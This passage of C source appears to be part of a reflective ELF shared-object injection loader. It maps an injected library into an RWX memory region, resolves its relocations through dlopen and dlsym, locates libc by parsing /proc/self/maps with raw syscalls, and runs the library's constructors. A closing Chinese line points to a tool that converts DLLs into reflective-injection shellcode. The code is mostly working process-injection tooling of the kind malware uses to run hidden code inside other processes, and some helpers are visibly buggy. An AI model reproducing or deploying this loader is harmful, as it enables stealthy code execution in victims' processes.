	this.baseaddr = (*libc_calloc)(1, size);
	
	if(this.baseaddr == NULL)
	{
		debug("[-] ERROR libc_calloc failed");
		return -1;
	}

	//Round process base address to page size
	this.baseaddr += (unsigned long)(0x1000 - ((unsigned long)this.baseaddr & 0x00000FFF));

	if((*libc_mprotect)(this.baseaddr, size, PROT_READ | PROT_WRITE | PROT_EXEC) != 0)
	{	
		debug("[-] ERROR mprotect call to create RWX memory region failed and returned with error");
		return -1;
	}

	debug("[+] Shared object baseaddr at %p", this.baseaddr);

	//Map program segments into memory 
	for(int i = 0; i < this.header->e_phnum; i++)
	{
		//Copy loadable segments into memory
		if(this.segments[i].p_type == PT_LOAD)
		{
			debug("[+] PT_LOAD Segment loaded at %p", this.segments[i].p_vaddr + this.baseaddr);
			crt_memcpy(this.baseaddr + this.segments[i].p_vaddr, (void *)this.header + this.segments[i].p_offset, this.segments[i].p_filesz);
		}

	}

	//Find SH_STRTAB
	this.SH_STRTAB = (void *)this.header + this.sections[this.header->e_shstrndx].sh_offset;

	//find this files .dynamic section
	index = find_section_by_hash(DYNAMIC_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
	this.secdynamic = (Elf64_Shdr *)&this.sections[index];
	this.dynamic = this.secdynamic->sh_addr + this.baseaddr;

	//find this files .dynstr
	index = find_section_by_hash(DYNSTR_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
	this.secdynstr = (Elf64_Shdr *)&this.sections[index];
	this.dynstr = this.secdynstr->sh_addr + this.baseaddr;

	//find this files .rela.plt section
	index = find_section_by_hash(RELAPLT_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
	this.secrelaplt = (Elf64_Shdr *)&this.sections[index];
	this.relaplt = this.secrelaplt->sh_addr + this.baseaddr;

	//find this files .rela.dyn section
	index = find_section_by_hash(RELADYN_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
	this.secreladyn = (Elf64_Shdr *)&this.sections[index];
	this.reladyn = this.secreladyn->sh_addr + this.baseaddr;

	//find this files dynsym section
	index = find_section_by_hash(DYNSYM_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
	this.secdynsym = (Elf64_Shdr *)&this.sections[index];
	this.dynsym = this.secdynsym->sh_addr + this.baseaddr;


	//dlopen DT_NEEDED libraries
	unsigned int numNeededLibraries = 0;
	void* *libHandles = NULL;
	unsigned int z = 0;

	//Count number of DT_NEEDED entries
	for(int i = 0; this.dynamic[i].d_tag != DT_NULL; i++)
	{
		if(this.dynamic[i].d_tag == DT_NEEDED)
		{
			numNeededLibraries++;
		}
	}

	libHandles = (*libc_calloc)(sizeof(void *), numNeededLibraries);

	if(libHandles == NULL)
	{
		debug("[-] Memory allocation failed..");
		return -1;
	}

	//Open all libraries required by the shared object in order to execute
	for(int i = 0; this.dynamic[i].d_tag != DT_NULL && z < numNeededLibraries; i++)
	{
		if(this.dynamic[i].d_tag == DT_NEEDED)
		{
			debug("[i] Opening DT_NEEEDED library [%s]", this.dynamic[i].d_un.d_ptr + this.dynstr);
			libHandles[z] = (*libc_dlopen)(this.dynamic[i].d_un.d_ptr + this.dynstr, RTLD_LAZY);

			if(!libHandles[z])
			{
				return -1;
			}

			z++;
		}
	}

	//Resolve PLT references
	for(int i = 0; i < this.secrelaplt->sh_size / sizeof(Elf64_Rela); i++)
	{
		if(ELF64_R_TYPE(this.relaplt[i].r_info) == R_X86_64_JUMP_SLOT)
		{
			void *funcaddr;
			char *symName;

			//Get Index into symbol table for relocation
			index = ELF64_R_SYM(this.relaplt[i].r_info);

			symName = this.dynsym[index].st_name + this.dynstr;

			//If symbol is a local symbol write the address of it into the .got.plt
			if(ELF64_ST_TYPE(this.dynsym[index].st_info) == STT_FUNC && this.dynsym[index].st_shndx != SHN_UNDEF)
			{
				debug("[i] Symbol type is STT_FUNC AND st_shndx IS NOT STD_UNDEF for %s", symName);
				*((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long *)(this.dynsym[index].st_value + this.baseaddr);
			}

			//We need to lookup the symbol searching through DT_NEEDED libraries
			else 
			{
				for(int x = 0; x < numNeededLibraries; x++)
				{
					funcaddr = (*libdl_dlsym)(libHandles[x], symName);
					debug("[i] Looking up symbol for %s function address is %p", symName, funcaddr);
					if(funcaddr != NULL)
					{
						*((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)funcaddr);
						break;
					}									
				}
			}	
		}
	}

	//Perform relocations (.rela.dyn)
	for(int i = 0; i < this.secreladyn->sh_size / sizeof(Elf64_Rela); i++)
	{
		if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_64)
		{
			debug("[i] Processing Relocation of type R_86_64_64");			
			index = ELF64_R_SYM(this.reladyn[i].r_info);
			*((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[index].st_value + this.reladyn[i].r_addend;
		}	
		/*
		 * Lookup address of symbol and store it in GOT entry
		 */
		else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_GLOB_DAT)
		{
			debug("[i] Processing Relocation of type R_x86_64_GLOB_DAT %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr);

			//Check symbol both locally and globally (searching through DT_NEEDED entries) 
			for(int x = 0; ;x++)
			{
				if(hash(this.dynsym[x].st_name + this.dynstr) == hash(this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr))
				{
					//If symbol is a local symbol write the address of it into the .got.plt
					if(this.dynsym[x].st_shndx == SHN_UNDEF)
					{						
						for(int y = 0; y < numNeededLibraries; y++)
						{
	
							void *faddr = libdl_dlsym(libHandles[y], this.dynsym[x].st_name + this.dynstr);
							debug("[i] Looking up symbol for %s function address is %p", this.dynsym[x].st_name + this.dynstr, faddr);
							if(faddr != NULL)
							{
								*((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr))  = (unsigned long )((unsigned long)faddr);
								break;
							}									
						}		
						break;				
					}
				
					//write value into got entry
					*((uint64_t *)(this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[x].st_value + this.baseaddr;
					break;
				}
			}
		}
		else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_RELATIVE)
		{
			debug("[i] Processing Relocation of type R_x86_64_RELATIVE %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr);
			index = ELF64_R_SYM(this.reladyn[i].r_info);
			*((uint64_t *)((unsigned long)this.reladyn[i].r_offset + (unsigned long)this.baseaddr)) = this.reladyn[i].r_addend + this.baseaddr;
		}
	}

	//Close Opened Libraries
	for(int i = 0; i < numNeededLibraries; i++)
	{
		libc_dlclose(libHandles[i]);
	}
	
	libc_dlclose(libdlhandle);

	//Call constructors of shared object
	debug("[i] Calling shared object constructors");	
	call_program_constructors(this); 

	return 1;
}

//===============================================================================================//
// Reflective ELF Loader Functions
//===============================================================================================//


/*
 * Parse backwards in memory in order to locate the ELF Header of our injected file
 */
__attribute__((always_inline)) inline Elf64_Ehdr* 
find_elf_header() 
{

	unsigned char *IP;

	__asm__("leaq (%%rip), %0;": "=r"(IP));

	//Locate the ELF Header for this file
	while(1 == 1)
	{
		if(check_elf_magic((Elf64_Ehdr *)IP))
		{
			break;
		}	
		IP--;
	}

	return (Elf64_Ehdr*)IP;
}

/*
 * Get the base address of libc by parsing /proc/self/maps (without a C library it is so annoying!)
 */
__attribute__((always_inline)) inline void* 
get_libc_base_addr() 
{

	MAPS_FILE maps;
	int fd;
	struct stat sb;
	MAPS_ENTRY e;
 
	/* Done this way to ensure relocations are not required 
	 * compiler generates a sequence of move instructions writing
	 * the string onto the stack. */

	char mapspath[16];	
	mapspath[0]  =  '/';   
	mapspath[1]  =  'p';   
	mapspath[2]  =  'r';
	mapspath[3]  =  'o';
	mapspath[4]  =  'c';
	mapspath[5]  =  '/';
	mapspath[6]  =  's';
	mapspath[7]  =  'e';
	mapspath[8]  =  'l';
	mapspath[9]  =  'f';
	mapspath[10] =  '/';
	mapspath[11] =  'm';
	mapspath[12] =  'a';
 	mapspath[13] =  'p';
	mapspath[14] =  's';
	mapspath[15] =  '\0'; 

	char libc[6];
	libc[0] = 'l';
	libc[1] = 'i';
	libc[2] = 'b';
	libc[3] = 'c';
	libc[4] = '-';
	libc[5] = '\0'; 	

	char perms[5]; 
	perms[0] = 'r';
	perms[1] = '-';
	perms[2] = 'x';
	perms[3] = 'p';
	perms[4] = '\0';

	maps.maps = crt_mmap(NULL, 0x1000 * 200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	fd = crt_open("/proc/self/maps", 0, 0);
	maps.size = copy_in(fd, maps.maps);
	maps.pos = maps.maps;

	do
	{
		e = get_next_maps_entry(&maps);
	
		if(e.name == NULL) /* Entry does not have a name */		
			continue;

		if(crt_strcmp(e.name, &libc) > 0)
		{
			if(crt_strcmp(e.perms, &perms) > 0)
				return e.startaddr;
		}

	} while(e.startaddr != NULL);
	
	crt_munmap(maps.maps, 0x1000 * 200); //unmap maps file from memory
	crt_close(fd);
}

/*
 * Get the next maps entry in the file
 */
__attribute__((always_inline)) inline MAPS_ENTRY 
get_next_maps_entry(MAPS_FILE *maps)
{
	MAPS_ENTRY entry;
	int valid = 0;
	char *pos = maps->pos;
	char *temp;

	//Check if we have gotten to the end of the maps file
	if(*pos >= (maps->maps + maps->size)) 
		return entry;

	//Get start address
	temp = pos;
	while(*pos != '-') 
	{ 
		pos++; 
	} 
	*pos = '\0'; 
	pos++;
	entry.startaddr = convert_string_to_64bit_pointer(temp);
		

	//Get end address of memory region
	temp = pos;
	while(*pos != ' ') 
	{ 
		pos++; 
	}
	*pos = '\0'; 
	pos++;	
	entry.endaddr = convert_string_to_64bit_pointer(temp);
	
	//Get permissions
	entry.perms = pos;
		
	//Get name of memory region if it is a shared library name	
	while(*pos != '\n') { if(*pos == '/') { valid = 1; } pos++; } /* Skip over junk data */
	*pos = '\0';
	temp = pos;
	while(*pos != '/' && valid) { pos--; } pos++; /* Get name of shared object if a valid entry */
	entry.name = pos; /* Save this name */
	if(!valid) { entry.name = NULL; }
	pos = temp;

	pos++; //Skip to beginning of next entry
	maps->pos = pos; //Save this position
	return entry;
}

/*
 * Get the amount of memory which needs to be allocated in order to map our program into memory
 * plus some additional padding. 
 */
__attribute__((always_inline)) inline unsigned int
get_program_memory_size(Elf64_Ehdr *header) 
{

	unsigned int size = 0, numPages; 
	Elf64_Phdr *segments = header->e_phoff + (void *)header;

	for(int i = 0; i < header->e_phnum; i++)
	{
		if(segments[i].p_type == PT_LOAD)
		{
			if(segments[i].p_memsz > segments[i].p_align)
			{
				numPages = 1 + (segments[i].p_memsz - segments[i].p_memsz % segments[i].p_align) / segments[i].p_align;
			}			
			else
			{
				numPages = 1;
			}				
		
			size += segments[i].p_align * numPages;
		}
	}
	size += 0x2000; //padding
	return size;
}

__attribute__((always_inline)) void inline
call_program_constructors(ELF_FILE e) 
{

	int INIT_ARRAYSZ = 0;
	void* *INIT_ARRAY;
	void (*constructor)();

	//find DT_INIT_ARRAYSZ
	for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++)
	{
		if(e.dynamic[i].d_tag == DT_INIT_ARRAYSZ)
		{
			INIT_ARRAYSZ = e.dynamic[i].d_un.d_ptr;	
			break;		
		}
	}
	
	//find DT_INIT_ARRAY
	for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++)
	{
		if(e.dynamic[i].d_tag == DT_INIT_ARRAY)
		{
			INIT_ARRAY = e.dynamic[i].d_un.d_ptr + e.baseaddr;
			break;			
		}
	}

	//Call constructors in shared object
	for(int i = 1; i < INIT_ARRAYSZ; i++)
	{
		constructor = (uint64_t)INIT_ARRAY[i] + (uint64_t)e.baseaddr;
		
		if(INIT_ARRAY[i] == 0)
			break;

		debug("[i] Calling constructor %p", constructor);
		constructor();
	}
}

/* check elf header */
__attribute__((always_inline)) inline unsigned int
check_elf_magic(Elf64_Ehdr *elfHdr)
{
	if(elfHdr->e_ident[0] == 0x7f)
	{
		if(elfHdr->e_ident[1] == 0x45)
		{
			if(elfHdr->e_ident[2] == 0x4c)
			{
				if(elfHdr->e_ident[3] == 0x46)
				{
					return 1;
				}
			}
		}
	}

	return 0;
}

/* Find elf section given a name and hash */
__attribute__((always_inline)) inline unsigned int
find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections)
{
	for(int i = 0; i < numSections; i++)
	{
		unsigned char *sectionName = SH_STRTAB + sections[i].sh_name;

		if(hash(sectionName) == sectionHash)
		{
			return i;
		}
	}

	debug("[i] ERROR could not find section");
	exit(-1);
}

//===============================================================================================//
// Standard Library Functions (x86_64)
//===============================================================================================//

__attribute__((always_inline)) inline int
crt_close(int fd)
{

	long ret;
	asm volatile ("syscall" : "=a" (ret) : "a" (__NR_close),
		      "D" (fd):
		      "cc", "memory", "rcx",
		      "r8", "r9", "r10", "r11" );
	if (ret < 0)
	{
		ret = -1;
	}
	return (int)ret;
}

__attribute__((always_inline)) inline int 
crt_open (const char *pathname, unsigned long flags, unsigned long mode)
{

	long ret;
	__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_open),
		      "D" (pathname), "S" (flags), "d" (mode) :
		      "cc", "memory", "rcx",
		      "r8", "r9", "r10", "r11" );

	return (int) ret;
}

__attribute__((always_inline)) inline void*
crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset)
{
	void *ret;
	register long r10 asm("r10") = flags;
	register long r9 asm("r9") = offset;
	register long r8 asm("r8") = fd;

	__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap),
		      "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 
		      "cc", "memory", "rcx", "r11");

	return ret;
}

__attribute__((always_inline)) inline int
crt_munmap(void *start, unsigned long length)
{

	long ret;
	asm volatile ("syscall" : "=a" (ret) : "a" (__NR_munmap),
		      "D" (start), "S" (length) :
		      "cc", "memory", "rcx",
		      "r8", "r9", "r10", "r11" );
	if (ret < 0)
	{
		ret = -1;
	}
	return (int)ret;
}

__attribute__((always_inline)) inline int
crt_read(int fd, char *buffer, unsigned long bufferlen)
{

	long ret;
	__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_read),
		      "D" (fd), "S" (buffer), "d" (bufferlen) :
		      "cc", "memory", "rcx",
		      "r8", "r9", "r10", "r11" );
	if (ret < 0)
	{
		ret = -1;
	}
	return (int)ret;
}

__attribute__((always_inline)) inline int
crt_stat(const char *path, void *buf)
{
	long ret;
	asm volatile ("syscall" :
		"=a" (ret) :
		"a" (4), "D" (path), "S" (buf) :
		"memory"
	);
	if (ret < 0)
	{
		ret = -1;
	}
	return (int)ret;
}

//===============================================================================================//
// Standard Library Functions (portable)
//===============================================================================================//

__attribute__((always_inline)) inline void *
crt_memcpy(void *dest, const void *src, unsigned long n)
{
	unsigned long i;
	unsigned char *d = (unsigned char *)dest;
	unsigned char *s = (unsigned char *)src;

	for (i = 0; i < n; ++i)
		d[i] = s[i];

	return dest;
}

__attribute__((always_inline)) inline int 
crt_strcmp(char *s1, char *s2) 
{
	int len1 = crt_strlen(s1);
	int len2 = crt_strlen(s2);
	int len = 0;
	
	if(len1 > len2)
		len = len2;
	else
		len = len1;

	for(int i = 0; i < len; i++)
	{
		if(*(s1 + i) != *(s2 + i))
		{

			return -1;
		}	
	}

	return 1;
}

__attribute__((always_inline)) inline unsigned long
crt_strlen(const char *s)
{
	unsigned long r = 0;
	for (; s && *s; ++s, ++r);
	return r;
}

/*
 * String hashing function used for string comparison
 */
__attribute__((always_inline)) inline unsigned int
hash(unsigned char *word)
{
    unsigned int hash = 0;
    for (int i = 0 ; word[i] != '\0' && word[i] != '@'; i++)
    {
        hash = 31 * hash + word[i];
    }
    return hash;
}

//===============================================================================================//
// Utility Functions
//===============================================================================================//

/*
 * Custom function to convert string to a pointer subtracts an amount to get the actual character 
 * value and then accounts for the position in the number using multiplcation to place it in
 * its correct position. 
 */
__attribute__((always_inline)) inline uint64_t 
convert_string_to_64bit_pointer(unsigned char *x)
{
	uint64_t pointer = 0;
	uint64_t z = 1;
	uint64_t temp = 0;
	unsigned int len = crt_strlen(x);

	for(int i = 0; i < len; i++)
		z *= 16;

	for(int i = 0; i < len; i++)
	{
		if(*x > 60)
		{
			temp = *x - 87;
		}
		else
		{
			temp = *x - 48;
		}


		if(z == 1)
		{
			temp = temp;
		}
		else 
		{
			z = z / 16;
			temp = temp * z;
		}

		pointer += temp;
		temp = 0;
		x++;
	}

	return pointer;
}

/*
 * Copy a file from disk into a memory buffer. WARNING Does not check size!
 */
__attribute__((always_inline)) inline unsigned int 
copy_in(int fd, void *address)
{
	int cc;
	off_t offset = 0;
	char buf[1024];

	while (0 < (cc = crt_read(fd, buf, sizeof(buf))))
	{
		crt_memcpy((address + offset), buf, cc);
		offset += cc;
	}

	return offset;
}

//===============================================================================================//
// Debug Mode Functions
//===============================================================================================//

#ifdef RSOI_DEBUG_MODE

/*
 * Used to test loading capabilities separately from the injection capabilities. We can
 * use this to figure out whether we are dealing with a problem with our ELF loader or with 
 * the injection script which is used to inject our loader into the target process. 
 */
Elf64_Ehdr* load_file_debug_mode(char *debugfile) 
{

	struct stat sb;
	unsigned int fd;
	fd = crt_open(debugfile,  0, 0);
	if(fd == -1)
	{
		debug("[-] Could not open debug file");
		exit(-1);
	}

	if (0 > crt_stat(debugfile, &sb))
	{
		return;
	}

	void *mapped = crt_mmap(NULL, sb.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	if(mapped == -1)
	{
		return;
	}

	copy_in(fd, mapped);
	crt_close(fd);

	if(check_elf_magic(mapped))
	{
		debug("[+] Debug File ELF Header is valid");
	}
	else
	{
		debug("[-] Debug File ELF Header is invalid ERROR!");
		exit(-1);
	}

	return (Elf64_Ehdr *)mapped;
}

#endif
void __attribute__ ((constructor)) SoMain(){
	printf("somain\n");
}

可以把任何一个dll,转换成可用于反射注入的shellcode https://github.com/haidragon/sRDI